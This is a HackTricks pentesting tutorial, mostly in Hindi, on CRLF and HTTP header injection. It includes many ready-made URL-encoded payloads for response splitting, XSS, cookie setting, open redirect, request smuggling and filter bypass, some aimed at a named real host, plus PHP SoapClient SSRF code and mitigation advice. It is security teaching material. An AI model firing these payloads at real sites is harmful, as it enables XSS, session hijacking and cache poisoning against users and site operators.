hacktricks/src/pentesting-web/crlf-0d-0a.md

CRLF (%0D%0A) Injection

{{#include ../banners/hacktricks-training.md}}

CRLF

कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।

CRLF Injection Vulnerability

CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।

Example: CRLF Injection in a Log File

Example from here

एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: IP - Time - Visited Path। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:

123.123.123.123 - 08:15 - /index.php?page=home

एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकती है:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

यहाँ, %0d और %0a CR और LF के URL-कोडित रूपों का प्रतिनिधित्व करते हैं। हमले के बाद, लॉग भ्रामक रूप से प्रदर्शित होगा:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को %0d%0a से शुरू होने वाले एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि restrictedaction पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

विवरण

HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशिष्ट वर्ण अनुक्रम का उपयोग करके, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)।

HTTP Response Splitting के माध्यम से XSS

1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: X-Custom-Header: UserInput
2. एप्लिकेशन UserInput के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है।
3. एक हमलावर एक विशेष रूप से तैयार 'user_input' के साथ एक URL तैयार करता है: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• इस URL में, %0d%0a%0d%0a CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है।

4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है।

HTTP Response Splitting का एक उदाहरण जो रीडायरेक्ट की ओर ले जाता है

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

और सर्वर हेडर के साथ प्रतिक्रिया करता है:

Location: http://myweb.com

अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

URL पथ में

आप URL पथ के अंदर पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके (उदाहरण यहां से):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

HTTP Header Injection

HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) जैसे सुरक्षा तंत्रों को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है।

Exploiting CORS via HTTP Header Injection

एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंच संभव हो जाती है।

SSRF and HTTP Request Injection via CRLF

CRLF इंजेक्शन का उपयोग एक पूरी तरह से नया HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के SoapClient क्लास में है, विशेष रूप से user_agent पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध भी इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण है जो इस शोषण को प्रदर्शित करता है:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत की जांच करें.

आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन को खुला रखे प्रारंभिक अनुरोध का उत्तर देने के बाद:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर HTTP request smuggling से संबंधित होता है, एक तकनीक जहां सर्वर द्वारा पोस्ट-इजेक्शन के द्वारा जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं।

शोषण:

1. दुष्ट प्रीफिक्स इजेक्शन: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के बेकार के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

मेमकैश इजेक्शन

मेमकैश एक की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:

{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}

पूर्ण जानकारी के लिए पढ़ें मूल लेख

यदि एक प्लेटफ़ॉर्म HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए इसका उपयोग मेमकैश सर्वर पर अनुरोध करने के लिए कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके नए मेमकैश कमांड्स को इजेक्ट कर सकता है।

उदाहरण के लिए, मूल खोजी गई कमजोरी में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने मेमकैश कमांड्स को इजेक्ट करने में सक्षम थे जो कैश को ज़हर देने के लिए विज्ञापनों के विवरण (उपयोगकर्ता नाम और पासवर्ड शामिल) को हमलावर सर्वरों पर भेजते थे:

इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे मेमकैश प्रतिक्रियाओं को असंक्रियित कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता था:

वेब अनुप्रयोगों में CRLF / HTTP हेडर इजेक्शन को रोकने के लिए

वेब अनुप्रयोगों में CRLF (कैरेज रिटर्न और लाइन फीड) या HTTP हेडर इजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है:

1. प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें: सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें।
2. विशेष वर्णों को एन्कोड करें: यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (कैरेज रिटर्न) और LF (लाइन फीड) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इजेक्शन की संभावना को रोकती है।
3. प्रोग्रामिंग भाषा को अपडेट करें: अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इजेक्शन की अनुमति नहीं देता है।

चीटशीट

यहां से चीटशीट

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

स्वचालित उपकरण

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

ब्रूट-फोर्स पहचान सूची

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

संदर्भ

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/

{{#include ../banners/hacktricks-training.md}}